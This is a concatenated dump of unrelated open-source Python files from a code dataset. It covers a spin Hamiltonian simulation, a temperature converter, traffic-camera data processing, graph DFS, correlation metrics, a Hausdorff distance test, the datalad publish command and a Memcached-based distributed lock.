plotSweepUpandDown(51);\n plotSweepUpandDown(52);\n\n\ndef Hamiltonianz1z2(omega1, omega2, coupling):\n Sx1 = 0.5 * np.array([[0, 0, 1, 0], [0, 0, 0, 1], [1, 0, 0, 0], [0, 1, 0, 0]])\n Sx2 = 0.5 * np.array([[0, 1, 0, 0], [1, 0, 0, 0], [0, 0, 0, 1], [0, 0, 1, 0]])\n Sy1 = 0.5 * 1j * np.array([[0, 0, -1, 0], [0, 0, 0, -1], [1, 0, 0, 0], [0, 1, 0, 0]])\n Sy2 = 0.5 * 1j * np.array([[0, -1, 0, 0], [1, 0, 0, 0], [0, 0, 0, -1], [0, 0, 1, 0]])\n Sz1 = 0.5 * np.array([[1, 0, 0, 0], [0, 1, 0, 0], [0, 0, -1, 0], [0, 0, 0, -1]])\n Sz2 = 0.5 * np.array([[1, 0, 0, 0], [0, -1, 0, 0], [0, 0, 1, 0], [0, 0, 0, -1]])\n S1S2 = (np.matmul(Sx1, Sx2) + np.matmul(Sy1, Sy2) + np.matmul(Sz1, Sz2))\n return (omega1 * Sz1) + (omega2 * Sz2) + (coupling * S1S2)\n\ndef HamiltonianOmegaDetuning(Omega, detuning, coupling):\n omega1 = Omega + detuning / 2\n omega2 = Omega - detuning / 2\n return Hamiltonianz1z2(omega1, omega2, coupling)\n\n\ndef expectvalH(eigv, H):\n return np.matmul(np.matmul(eigv.conj().T, H), eigv)\n\n\ndef plotSweepUpandDown(sweepTime):\n Omega = 10\n coupling = 1\n timeStep = 0.01\n startDetuning = -10\n endDetuning = 10\n sweepTime = sweepTime\n times = np.linspace(0, sweepTime, 1000)\n detunings = np.linspace(startDetuning, endDetuning, int(len(times) / 2))\n detunings2 = np.linspace(endDetuning, startDetuning, int(len(times) / 2))\n totaldet = np.concatenate((detunings, detunings2))\n H_0 = HamiltonianOmegaDetuning(Omega, startDetuning, coupling)\n w, v = np.linalg.eigh(H_0)\n psi = v[1]\n a = []\n for i in range(0, len(times)):\n A = -1j * i * timeStep * HamiltonianOmegaDetuning(Omega, totaldet[i], coupling)\n psi = np.matmul(linalg.expm(A), psi)\n a.append(np.real(expectvalH(psi, HamiltonianOmegaDetuning(Omega, totaldet[i], coupling))))\n plt.figure(2)\n plt.plot(times, a, label=str(sweepTime))\n \n\n\nplotManySweeps()\nplt.grid()\nplt.xlim(0, 50)\nplt.ylim(-6, 4)\nplt.title(r'Expectation Value of H as a function of time')\nplt.xlabel('Sweep Time')\nplt.ylabel(r'$(t)$')\nplt.legend(title='coupling value')\n# plt.savefig('coupling.png')\n\nplotSweepsUpandDown()\nplt.grid()\nplt.legend(title='sweep time')\nplt.xlim(0, 55)\nplt.ylim(-6, 0)\nplt.title('Expectation value as a function of time')\nplt.xlabel('Sweep Time')\nplt.ylabel(r'$(t)$')\n# plt.savefig('sweeptime.png')\n\n\n","sub_path":"115c_hw4_p2.py","file_name":"115c_hw4_p2.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"607632136","text":"#! /usr/bin/python3\n\nzero_f = 32\nboiling_f = 212\nboiling_c = 100\n\nk = (boiling_f - zero_f)/boiling_c\n\ntemperature_fahrenheit = int(input(\"Enter temperature in F: \"))\n\ntemperature_celsius = (temperature_fahrenheit - zero_f) / k\n\nprint(\"Temperature in Celsius: \" + str(temperature_celsius))\n\n","sub_path":"lab3_2.py","file_name":"lab3_2.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"564709894","text":"import pickle\r\nimport time\r\nimport datetime\r\nimport xlrd\r\nimport xlwt\r\n'''\r\ntimestamp = 1438432280\r\ntimeArray = time.localtime(timestamp)\r\nprint(type(timeArray))\r\nprint(timeArray.tm_min)\r\n\r\n'''\r\n\r\n'''\r\ndef longest_time(lists: list):\r\n temp_list = sorted(lists, key=lambda x: x[0])\r\n maxs = 0\r\n work = 0\r\n flags = 0\r\n home = 0\r\n length = len(temp_list)\r\n print(temp_list)\r\n for i in range(1, length):\r\n temps = time.localtime(int(temp_list[i][0]))\r\n if temps.tm_hour < 7:\r\n continue\r\n elif flags == 0:\r\n home = i\r\n flags = 1\r\n elif int(temp_list[i][0]) - int(temp_list[i-1][0]) > maxs:\r\n maxs = int(temp_list[i][0]) - int(temp_list[i-1][0])\r\n work = i\r\n print(work)\r\n print(maxs)\r\n print(temp_list[home][0], temp_list[work][0])\r\n return [temp_list[home][1], temp_list[work][1]]\r\n\r\n\r\nwith open(\"2015\\\\Time\\\\MinETime.pkl\", \"rb\") as f:\r\n temps = pickle.load(f)\r\nwith open(\"2015\\\\Space\\\\MinESpace.pkl\", \"rb\") as f:\r\n tempt = pickle.load(f)\r\n\r\ntemp = []\r\nfor i in range(len(temps[\"0801\"][\"闽EFH388\"])):\r\n temp.append([])\r\n temp[-1].append(temps[\"0801\"][\"闽EFH388\"][i])\r\n temp[-1].append(tempt[\"0801\"][\"闽EFH388\"][i])\r\n\r\nprint(longest_time(temp))\r\nMinDTime = {}\r\nwith open(\"D:\\\\Python\\\\Datas\\\\Data_VLPR\\\\VLPR\\\\2016\\\\Bayonet20161021\", encoding=\"utf-8\") as file_obj:\r\n for line in file_obj:\r\n lines = line.split(\",\")\r\n if \"闽D\" in lines[8]:\r\n continue\r\n else:\r\n if lines[8] in MinDTime:\r\n continue\r\n else:\r\n MinDTime.setdefault(lines[8], [])\r\nprint(len(MinDTime))\r\n'''\r\n\r\n'''\r\nwith open(\"2016\\\\Infer.pkl\", 'rb') as f:\r\n test = pickle.load(f)\r\nprint(len(test))\r\nfor i in list(test.keys()):\r\n if test[i][1] < 25200 or test[i][1] > 34200 or test[i][3] < 61200 or test[i][3] > 72000:\r\n test.pop(i)\r\n\r\nprint(test)\r\nprint(len(test))\r\n\r\nwith open(\"2016\\\\InferTest.pkl\", \"wb\") as f:\r\n pickle.dump(test, f, pickle.HIGHEST_PROTOCOL)\r\n'''\r\nwith open(\"2016\\\\InferTest.pkl\", \"rb\") as f:\r\n test = pickle.load(f)\r\n\r\nsheet = dict()\r\nworkbook = xlrd.open_workbook(\"所有设备信息.xls\")\r\nworksheet = workbook.sheet_by_index(0)\r\nrow = worksheet.nrows\r\nequipment = []\r\nfor i in range(1, row):\r\n equipment.append(worksheet.row_values(i)[1])\r\n sheet[worksheet.row_values(i)[1]] = [worksheet.row_values(i)[3], worksheet.row_values(i)[4]]\r\nkey = list(test.keys())\r\n\r\nbook = xlwt.Workbook(encoding=\"utf-8\", style_compression=0)\r\nsheets1 = book.add_sheet('home', cell_overwrite_ok=True)\r\nsheets2 = book.add_sheet('work', cell_overwrite_ok=True)\r\nfor i in range(len(test)):\r\n home = test[key[i]][0]\r\n work = test[key[i]][2]\r\n sheets1.write(i, 0, sheet[home][0])\r\n sheets1.write(i, 1, sheet[home][1])\r\n sheets2.write(i, 0, sheet[work][0])\r\n sheets2.write(i, 1, sheet[work][1])\r\n\r\nbook.save(\"Infer_Position.xls\")\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":2966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"346795149","text":"\"\"\"Написать программу, которая обходит не взвешенный ориентированный граф без петель, в котором все вершины связаны\n(дерево), по алгоритму поиска в глубину (Depth-First Search).\nПримечания:\na. граф должен храниться в виде списка смежности;\nb. генерация графа выполняется в отдельной функции, которая принимает на вход число вершин.\"\"\"\n\nfrom collections import deque\nfrom misc import random_dag, adjacent_list\n\n\ndef dfs(g, start):\n remained = deque()\n visited = set()\n remained.appendleft(start)\n while len(remained) > 0:\n current = remained.popleft()\n if current not in visited:\n visited.add(current)\n for adjacent in reversed(g[current]):\n remained.appendleft(adjacent)\n\n yield current\n\n\nif __name__ == '__main__':\n g = adjacent_list(random_dag(10))\n print(*g, sep='\\n')\n for i in range(len(g)):\n print(f'{i}:\\t{list(dfs(g, start=i))}')\n","sub_path":"less_8/hw_8_and_more/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"514060620","text":"from typing import Optional, List\nimport pandas as pd\n\nfrom scipy.stats import pearsonr\n\n\nclass PearsonCorrelationDifference:\n def __init__(self,\n target: pd.DataFrame,\n synthetic: pd.DataFrame,\n features: Optional[List[str]] = None):\n self.features = features if features \\\n else target.columns.tolist()\n self.target = target[self.features]\n self.synthetic = synthetic[self.features]\n\n # pair-wise pearson correlation difference of given features\n self.pp_corr_diff = pd.DataFrame() # pair-wise pearson correlation difference\n self.target_corr = pd.DataFrame() # pair-wise correlations in target data\n self.synthetic_corr = pd.DataFrame() # pair-wise correlations in synthetic data\n\n def compute(self):\n self.pp_corr_diff = self.pair_wise_difference()\n\n def pair_wise_difference(self) -> pd.DataFrame:\n self.target_corr = self.pair_wise_correlations(self.target)\n self.synthetic_corr = self.pair_wise_correlations(self.synthetic)\n\n diff = self.synthetic_corr - self.target_corr\n return diff\n\n def pair_wise_correlations(self, data: pd.DataFrame) -> pd.DataFrame:\n corr_list = []\n for f_a in self.features:\n f_corr = []\n for f_b in self.features:\n corr, _ = pearsonr(data[f_a], data[f_b])\n f_corr.append(corr)\n corr_list.append(f_corr)\n return pd.DataFrame(corr_list, columns=self.features, index=self.features)\n","sub_path":"sdnist/metrics/pearson_correlation.py","file_name":"pearson_correlation.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"389674444","text":"import os\nimport nibabel as nib\nimport numpy as np\nfrom numpy.core.umath_tests import inner1d\nfrom medpy.metric.binary import hd, sensitivity, specificity, dc\nfrom unet3d.utils.path_utils import get_project_dir\nfrom brats.evaluate import get_whole_tumor_mask, get_enhancing_tumor_mask, get_tumor_core_mask\nfrom brats.config import config, config_unet, config_dict\n\nCURRENT_WORKING_DIR = os.path.realpath(__file__)\nPROJECT_DIR = get_project_dir(CURRENT_WORKING_DIR, config[\"project_name\"])\nBRATS_DIR = os.path.join(PROJECT_DIR, config[\"brats_folder\"])\nDATASET_DIR = os.path.join(PROJECT_DIR, config[\"dataset_folder\"])\n\nvoxelspacings = [(0.9375, 1.5, 0.9375), (1, 1.5, 1), (0.8371, 1.5, 0.8371)]\n\nprediction_path = BRATS_DIR + \"/database/prediction/brats_2018_is-160-192-128_crop-1_bias-1_denoise-0_norm-01_hist-0_ps-128-128-128_isensee3d_crf-0_loss-weighted_model/validation_case_0/prediction.nii.gz\"\ntruth_path = BRATS_DIR + \"/database/prediction/brats_2018_is-160-192-128_crop-1_bias-1_denoise-0_norm-01_hist-0_ps-128-128-128_isensee3d_crf-0_loss-weighted_model/validation_case_0/truth.nii.gz\"\n\ndef HausdorffDist(A,B):\n # Hausdorf Distance: Compute the Hausdorff distance between two point\n # clouds.\n # Let A and B be subsets of metric space (Z,dZ),\n # The Hausdorff distance between A and B, denoted by dH(A,B),\n # is defined by:\n # dH(A,B) = max(h(A,B),h(B,A)),\n # where h(A,B) = max(min(d(a,b))\n # and d(a,b) is a L2 norm\n # dist_H = hausdorff(A,B)\n # A: First point sets (MxN, with M observations in N dimension)\n # B: Second point sets (MxN, with M observations in N dimension)\n # ** A and B may have different number of rows, but must have the same\n # number of columns.\n #\n # Edward DongBo Cui; Stanford University; 06/17/2014\n\n # Find pairwise distance\n D_mat = np.sqrt(inner1d(A,A)[np.newaxis].T + inner1d(B,B)-2*(np.dot(A,B.T)))\n # Find DH\n dH = np.max(np.array([np.max(np.min(D_mat,axis=0)),np.max(np.min(D_mat,axis=1))]))\n return(dH)\n\n\nprediction = nib.load(prediction_path)\nprediction = prediction.get_data()\n\ntruth = nib.load(truth_path)\ntruth = truth.get_data()\n\na = get_whole_tumor_mask(prediction).astype(int)\nb = get_whole_tumor_mask(truth).astype(int)\nhd_wt = HausdorffDist(a, b)\nprint(hd_wt)","sub_path":"tests/test_evaluate.py","file_name":"test_evaluate.py","file_ext":"py","file_size_in_byte":2273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"613139866","text":"from django.conf.urls import patterns, url\nfrom django.contrib.auth.decorators import login_required\n\nfrom .views import ModularChangeView\n\n\nurlpatterns = patterns('',\n url(\n r'^change$',\n login_required(ModularChangeView.as_view()),\n name=\"modular-change\",\n ),\n\n)\n","sub_path":"modular_blocks/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"243109856","text":"import sys # needed for exit with specific codes\nimport readline # needed for tabcompletion\nimport imp # needed for checking if modules are installed\nimport os.path\n\n# This script uses numpy, so first we need to check if numpy is installed\ntry:\n imp.find_module('numpy')\n found = True\nexcept ImportError:\n found = False\n\nif(found):\n import numpy as np\nelse:\n print(\"To use this script, please install NumPy\")\n sys.exit(1)\n\n\n# to simplify the input, tabcompletion is enabled\nreadline.parse_and_bind(\"tab: complete\")\n\n# specify the filename - you can use tabcompletion!\nfilename = raw_input(\"Enter filename > \")\n\n# check, whether the file exists. if not: exit code = 1\n# if file exists, check how many columns are available\nif(os.path.isfile(filename) == False):\n print(\"File not found\")\n sys.exit(1)\nelse:\n with open(str(filename),'r') as f:\n line = next(f)\n n = len(line.split('\\t'))\n f.seek(0) # go back to beginning of file\n\n# if there is only one column, skip the user input for columns\n# if there are more, let the user specify the columns to be evaluated, separated by comma\nif(n == 1): \n col = 0;\n int_col = [0]\nelse:\n col = raw_input(\"Enter column to evaluate (0,...,\"+str(n-1)+\") - separated by comma> \")\n if(col == ''):\n col = 0\n new_col = [item.strip() for item in col.split(',')]\n int_col = [int(num_col) for num_col in new_col]\n# if any number is bigger than the number of available columns, the program exits\nfor i in range(0,len(int_col)):\n if int_col[i] > n:\n print(\"Number of columns too big. Exiting.\")\n sys.exit(1)\n\n# specify the rows to be skipped at the beginning of the file\n# if left blank, the value will be treated as 0\nrows_start = raw_input(\"Enter number of rows to be skipped from beginning (default: 0) > \")\nif(rows_start == ''):\n rows_start = 0\n\n# specify the rows to be skipped at the end of the file\n# if left blank, the value will be treated as 0\nrows_end = raw_input(\"Enter number of rows to be skipped at ende (default: 0) > \")\nif(rows_end == ''):\n rows_end = 0\n\ndata = []\nmean = []\nfor i in range(0,len(int_col)):\n # data.append(np.loadtxt(str(filename),usecols=(int(int_col[i]),),skiprows=int(rows)))\n data.append(np.genfromtxt(str(filename),usecols=(int(int_col[i]),),skip_header=int(rows_start),skip_footer=int(rows_end)))\n mean.append(np.mean(data[i]))\n print(str(i)+ \": \" + str(mean[i]))\n \n","sub_path":"mean.py","file_name":"mean.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"60114848","text":"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\n# ex: set sts=4 ts=4 sw=4 noet:\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n#\n# See COPYING file distributed along with the datalad package for the\n# copyright and license terms.\n#\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\n\"\"\"High-level interface for dataset (component) publishing\n\n\"\"\"\n\n__docformat__ = 'restructuredtext'\n\n\nimport logging\n\nfrom os import curdir\nfrom os.path import join as opj, abspath, exists, relpath\n\nfrom six import string_types\nfrom datalad.support.param import Parameter\nfrom datalad.support.constraints import EnsureStr, EnsureNone, EnsureListOf\nfrom datalad.support.gitrepo import GitRepo\nfrom datalad.support.annexrepo import AnnexRepo, FileInGitError, \\\n FileNotInAnnexError\nfrom datalad.interface.base import Interface\nfrom datalad.distribution.dataset import EnsureDataset, Dataset, \\\n datasetmethod, resolve_path\nfrom datalad.distribution.install import get_containing_subdataset\nfrom datalad.cmd import CommandError\n\nlgr = logging.getLogger('datalad.distribution.publish')\n\n\nclass Publish(Interface):\n \"\"\"publish a handle.\n\n This is basic implementation for testing purposes\n \"\"\"\n\n _params_ = dict(\n dataset=Parameter(\n args=(\"-d\", \"--dataset\"),\n doc=\"\"\"specify the dataset to perform the publish operation on. If\n no dataset is given, an attempt is made to identify the dataset\n based on the current working directory and/or the `path` given\"\"\",\n constraints=EnsureDataset() | EnsureNone()),\n dest=Parameter(\n args=(\"dest\",),\n doc=\"\"\"url, local path, or sibling name identifying the publication\n target\"\"\",\n nargs=\"?\",\n constraints=EnsureStr() | EnsureNone()),\n path=Parameter(\n args=(\"path\",),\n doc=\"path/name of the dataset component to publish\",\n nargs=\"*\",\n constraints=EnsureStr() | EnsureNone()),\n # Note: add remote currently disabled in publish\n # dest_url=Parameter(\n # args=('--dest-url',),\n # doc=\"\"\"The URL of the dataset sibling named by `dest`. This URL has\n # to be accessible to anyone, who is supposed to have access to the\n # published dataset later on.\\n\n # If you want to publish with `recursive`, it is expected, that you\n # pass a template for building the URLs of all (sub)datasets to be\n # published by using placeholders.\\n\n # List of currently available placeholders:\\n\n # %%NAME\\tthe name of the dataset, where slashes are replaced by\n # dashes.\\nThis option is ignored if there is already a configured\n # sibling dataset under the name given by `dest`.\"\"\",\n # nargs=\"?\",\n # constraints=EnsureStr() | EnsureNone()),\n # dest_pushurl=Parameter(\n # args=('--dest-pushurl',),\n # doc=\"\"\"In case the `dest_url` cannot be used to publish to the\n # dataset sibling, this option specifies a URL to be used for the\n # actual publication operation.\"\"\",\n # constraints=EnsureStr() | EnsureNone()),\n recursive=Parameter(\n args=(\"-r\", \"--recursive\"),\n action=\"store_true\",\n doc=\"Recursively publish all components of the dataset.\"),\n with_data=Parameter(\n args=(\"--with-data\",),\n doc=\"shell pattern\",\n constraints=EnsureListOf(string_types) | EnsureNone(),\n nargs='*'),)\n\n @staticmethod\n @datasetmethod(name='publish')\n def __call__(dataset=None, dest=None, path=None,\n # Note: add remote currently disabled in publish\n # dest_url=None, dest_pushurl=None,\n with_data=None, recursive=False):\n\n # Note: add remote currently disabled in publish\n # if dest is None and (dest_url is not None\n # or dest_pushurl is not None):\n # raise ValueError(\"\"\"insufficient information for adding the\n # destination as a sibling (needs at least a name)\"\"\")\n\n # shortcut\n ds = dataset\n\n if ds is not None and not isinstance(ds, Dataset):\n ds = Dataset(ds)\n if not path:\n path = curdir\n\n elif isinstance(path, list):\n return [Publish.__call__(\n dataset=ds,\n dest=dest,\n path=p,\n # Note: add remote currently disabled in publish\n # dest_url=dest_url,\n # dest_pushurl=dest_pushurl,\n with_data=with_data,\n recursive=recursive) for p in path]\n\n # resolve the location against the provided dataset\n if path is not None:\n path = resolve_path(path, ds)\n\n lgr.info(\"Publishing {0}\".format(path))\n\n # if we have no dataset given, figure out which one we need to operate\n # on, based on the resolved location (that is now guaranteed to\n # be specified\n if ds is None:\n # try to find a dataset at or above the location\n dspath = GitRepo.get_toppath(abspath(path))\n if dspath is None:\n # no top-level dataset found, use path as such\n dspath = path\n ds = Dataset(dspath)\n lgr.debug(\"Resolved dataset for publication: {0}\".format(ds))\n assert(ds is not None)\n\n # it might still be about a subdataset of ds:\n if path is not None:\n relativepath = relpath(path, start=ds.path)\n subds = get_containing_subdataset(ds, relativepath)\n if subds.path != ds.path:\n # path belongs to a subdataset; hand it over\n lgr.debug(\"Hand over to submodule %s\" % subds.path)\n return subds.publish(dest=dest,\n path=relpath(path, start=subds.path),\n # Note: add remote currently disabled in publish\n # dest_url=dest_url,\n # dest_pushurl=dest_pushurl,\n with_data=with_data,\n recursive=recursive)\n\n # now, we know, we have to operate on ds. So, ds needs to be installed,\n # since we cannot publish anything from a not installed dataset,\n # can we?\n # (But may be just the existence of ds.repo is important here.)\n if not ds.is_installed():\n raise ValueError(\"No installed dataset found at \"\n \"{0}.\".format(ds.path))\n assert(ds.repo is not None)\n\n # TODO: For now we can deal with a sibling(remote) name given by `dest`\n # only. Figure out, when to allow for passing a local path or URL\n # directly and what to do in that case.\n\n # Note: we need an upstream remote, if there's none given. We could\n # wait for git push to complain, but we need to explicitly figure it\n # out for pushing annex branch anyway and we might as well fail right\n # here.\n\n # keep original dest in case it's None for passing to recursive calls:\n dest_resolved = dest\n if dest is None:\n # check for tracking branch's remote:\n try:\n std_out, std_err = \\\n ds.repo._git_custom_command('',\n [\"git\", \"config\", \"--get\", \"branch.{active_branch}.remote\".format(active_branch=ds.repo.git_get_active_branch())],\n expect_fail=True)\n except CommandError as e:\n if e.code == 1 and e.stdout == \"\":\n std_out = None\n else:\n raise\n if std_out:\n dest_resolved = std_out.strip()\n else:\n # we have no remote given and no upstream => fail\n raise RuntimeError(\"No known default target for \"\n \"publication and none given.\")\n\n # upstream branch needed for update (merge) and subsequent push,\n # in case there is no.\n set_upstream = False\n try:\n # Note: tracking branch actually defined bei entry \"merge\"\n # PLUS entry \"remote\"\n std_out, std_err = \\\n ds.repo._git_custom_command('',\n [\"git\", \"config\", \"--get\",\n \"branch.{active_branch}.merge\".format(active_branch=ds.repo.git_get_active_branch())],\n expect_fail=True)\n except CommandError as e:\n if e.code == 1 and e.stdout == \"\":\n # no tracking branch yet:\n set_upstream = True\n else:\n raise\n\n # is `dest` an already known remote?\n if dest_resolved not in ds.repo.git_get_remotes():\n # unknown remote\n raise ValueError(\"No sibling '%s' found.\" % dest_resolved)\n\n # Note: add remote currently disabled in publish\n # if dest_url is None:\n # raise ValueError(\"No sibling '%s' found. Provide `dest-url`\"\n # \" to register it.\" % dest_resolved)\n # lgr.info(\"Sibling %s unknown. Registering ...\")\n #\n # # Fill in URL-Template:\n # remote_url = dest_url.replace(\"%NAME\", basename(ds.path))\n # # TODO: handle_name.replace(\"/\", \"-\")) instead of basename()\n # # - figure it out ;)\n # # - either a datasets needs to discover superdatasets in\n # # order to get it's relative path to provide a name\n # # - or: We need a different approach on the templates\n #\n # # Add the remote\n # ds.repo.git_remote_add(dest_resolved, remote_url)\n # if dest_pushurl:\n # # Fill in template:\n # remote_url_push = \\\n # dest_pushurl.replace(\"%NAME\", basename(ds.path))\n # # TODO: Different way of replacing %NAME; See above\n #\n # # Modify push url:\n # ds.repo._git_custom_command('',\n # [\"git\", \"remote\",\n # \"set-url\",\n # \"--push\", dest_resolved,\n # remote_url_push])\n # lgr.info(\"Added sibling '%s'.\" % dest)\n # lgr.debug(\"Added remote '%s':\\n %s (fetch)\\n%s (push).\" %\n # (dest_resolved, remote_url,\n # remote_url_push if dest_pushurl else remote_url))\n # Note: add remote currently disabled in publish\n # else:\n # # known remote: parameters dest-url-* currently invalid.\n # # This may change to adapt the existing remote.\n # if dest_url:\n # lgr.warning(\"Sibling '%s' already exists for dataset '%s'. \"\n # \"Ignoring dest-url %s.\" %\n # (dest_resolved, ds.path, dest_url))\n # if dest_pushurl:\n # lgr.warning(\"Sibling '%s' already exists for dataset '%s'. \"\n # \"Ignoring dest-pushurl %s.\" %\n # (dest_resolved, ds.path, dest_pushurl))\n\n # Figure out, what to publish\n if path is None or path == ds.path:\n # => publish the dataset itself\n # push local state:\n # TODO: Rework git_push in GitRepo\n cmd = ['git', 'push']\n if set_upstream:\n # no upstream branch yet\n cmd.append(\"--set-upstream\")\n cmd += [dest_resolved, ds.repo.git_get_active_branch()]\n ds.repo._git_custom_command('', cmd)\n # push annex branch:\n if isinstance(ds.repo, AnnexRepo):\n ds.repo.git_push(\"%s +git-annex:git-annex\" % dest_resolved)\n\n # TODO: if with_data is a shell pattern, we get a list, when called\n # from shell, right?\n # => adapt the following and check constraints to allow for that\n if with_data:\n ds.repo._git_custom_command('', [\"git\", \"annex\", \"copy\"] +\n with_data + [\"--to\", dest_resolved])\n\n if recursive and ds.get_dataset_handles() != []:\n results = [ds]\n # Note: add remote currently disabled in publish\n # modify URL templates:\n # if dest_url:\n # dest_url = dest_url.replace('%NAME', basename(ds.path) + '-%NAME')\n # if dest_pushurl:\n # dest_pushurl = dest_pushurl.replace('%NAME', basename(ds.path) + '-%NAME')\n for subds in ds.get_dataset_handles():\n results.append(Dataset(opj(ds.path,\n subds)).publish(\n dest=dest,\n # Note: use `dest` instead of `dest_resolved` in case\n # dest was None, so subdatasets would use their default\n # as well\n # Note: add remote currently disabled in publish\n # dest_url=dest_url,\n # dest_pushurl=dest_pushurl,\n with_data=with_data,\n recursive=recursive))\n return results\n\n return ds\n\n elif exists(path):\n # At this point `path` is not referencing a (sub)dataset.\n # An annexed file is the only thing left, that `path` might be\n # validly pointing to. Anything else we can't handle currently.\n if isinstance(ds.repo, AnnexRepo):\n try:\n if ds.repo.get_file_key(relativepath):\n # file is in annex, publish it\n ds.repo._run_annex_command('copy',\n annex_options=[path,\n '--to=%s' % dest_resolved])\n return path\n except (FileInGitError, FileNotInAnnexError):\n pass\n # `path` can't be published\n lgr.warning(\"Don't know how to publish %s.\" % path)\n return None\n\n else:\n # nothing to publish found\n lgr.warning(\"Nothing to publish found at %s.\" % path)\n return None\n","sub_path":"datalad/distribution/publish.py","file_name":"publish.py","file_ext":"py","file_size_in_byte":14984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"343291462","text":"# -*- coding: utf-8 -*-\nfrom typing import Optional, List\n\nimport pymemcache\nfrom pip_services3_commons.config import IConfigurable, ConfigParams\nfrom pip_services3_commons.errors import InvalidStateException, ConfigException\nfrom pip_services3_commons.refer import IReferenceable, IReferences\nfrom pip_services3_commons.run import IOpenable\nfrom pip_services3_components.connect import ConnectionResolver\nfrom pip_services3_components.lock.Lock import Lock\n\n\nclass MemcachedLock(Lock, IConfigurable, IReferenceable, IOpenable):\n \"\"\"\n Distributed lock that implemented based on Memcaches caching service.\n\n The current implementation does not support authentication.\n\n ### Configuration parameters ###\n\n - connection(s):\n - discovery_key: (optional) a key to retrieve the connection from :class:`IDiscovery `\n - host: host name or IP address\n - port: port number\n - uri: resource URI or connection string with all parameters in it\n - options:\n - retry_timeout: timeout in milliseconds to retry lock acquisition. (Default: 100)\n - max_size: maximum number of values stored in this cache (default: 1000)\n - max_key_size: maximum key length (default: 250)\n - max_expiration: maximum expiration duration in milliseconds (default: 2592000)\n - max_value: maximum value length (default: 1048576)\n - pool_size: pool size (default: 5)\n - reconnect: reconnection timeout in milliseconds (default: 10 sec)\n - retries: number of retries (default: 3)\n - timeout: default caching timeout in milliseconds (default: 1 minute)\n - failures: number of failures before stop retrying (default: 5)\n - retry: retry timeout in milliseconds (default: 30 sec)\n - idle: idle timeout before disconnect in milliseconds (default: 5 sec)\n\n ### References ###\n\n - `*:discovery:*:*:1.0` (optional) :class:`IDiscovery ` services to resolve connection\n\n Example:\n\n .. code-block:: python\n\n lock = MemcachedLock()\n lock.configure(ConfigParams.from_tuples(\n \"connection.host\", \"localhost\",\n \"connection.port\", 11211\n ))\n \n lock.open(\"123\")\n lock.acquire_lock(\"123\", \"key1\", 3000, 1000)\n try:\n # Processing...\n pass\n finally:\n lock.release_lock(\"123\", \"key1\")\n \n \"\"\"\n\n def __init__(self):\n \"\"\"\n Creates a new instance of this cache.\n \"\"\"\n self.__connection_resolver: ConnectionResolver = ConnectionResolver()\n\n # self.__max_key_size: int = 250\n # self.__max_expiration: int = 2592000\n # self.__max_value: int = 1048576\n self.__pool_size: int = 5\n self.__reconnect: int = 10000\n self.__timeout: int = 5000\n self.__retries: int = 5\n self.__failures: int = 5\n self.__retry: int = 30000\n # self.__remove: bool = False\n self.__idle: int = 5000\n\n self.__client: pymemcache.HashClient = None\n\n def configure(self, config: ConfigParams):\n \"\"\"\n Configures component by passing configuration parameters.\n\n :param config: configuration parameters to be set.\n \"\"\"\n self.__connection_resolver.configure(config)\n\n # self.__max_key_size = config.get_as_integer_with_default('options.max_key_size', self.__max_key_size)\n # self.__max_expiration = config.get_as_integer_with_default('options.max_expiration', self.__max_expiration)\n # self.__max_value = config.get_as_integer_with_default('options.max_value', self.__max_value)\n self.__pool_size = config.get_as_integer_with_default('options.pool_size', self.__pool_size)\n self.__reconnect = config.get_as_integer_with_default('options.reconnect', self.__reconnect)\n self.__timeout = config.get_as_integer_with_default('options.timeout', self.__timeout)\n self.__retries = config.get_as_integer_with_default('options.retries', self.__retries)\n self.__failures = config.get_as_integer_with_default('options.failures', self.__failures)\n self.__retry = config.get_as_integer_with_default('options.retry', self.__retry)\n # self.__remove = config.get_as_integer_with_default('options.remove', self.__remove)\n self.__idle = config.get_as_integer_with_default('options.idle', self.__idle)\n\n def set_references(self, references: IReferences):\n \"\"\"\n Sets references to dependent components.\n\n :param references: references to locate the component dependencies.\n \"\"\"\n self.__connection_resolver.set_references(references)\n\n def is_open(self) -> bool:\n \"\"\"\n Checks if the component is opened.\n\n :return: true if the component has been opened and false otherwise.\n \"\"\"\n return self.__client is not None\n\n def open(self, correlation_id: Optional[str]):\n \"\"\"\n Opens the component.\n\n :param correlation_id: (optional) transaction id to trace execution through call chain.\n \"\"\"\n connections = self.__connection_resolver.resolve_all(correlation_id)\n if len(connections) == 0:\n raise ConfigException(\n correlation_id,\n 'NO_CONNECTION',\n 'Connection is not configured'\n )\n\n servers: List[str] = []\n for connection in connections:\n host = connection.get_host()\n port = connection.get_port() or 11211\n servers.append(f'{host}:{port}')\n\n options = {\n # TODO: this options have not support by driver, but can execute by cmd driver method\n # 'maxKeySize': self.__max_key_size,\n # 'maxExpiration': self.__max_expiration,\n # 'maxValue': self.__max_value, # driver don't have this config\n # 'retries': self.__retries,\n # 'remove': self.__remove,\n 'retry_attempts': self.__failures, # driver automatically remove dead servers from the pool (by attemps)\n 'max_pool_size': self.__pool_size,\n 'connect_timeout': self.__reconnect / 1000,\n 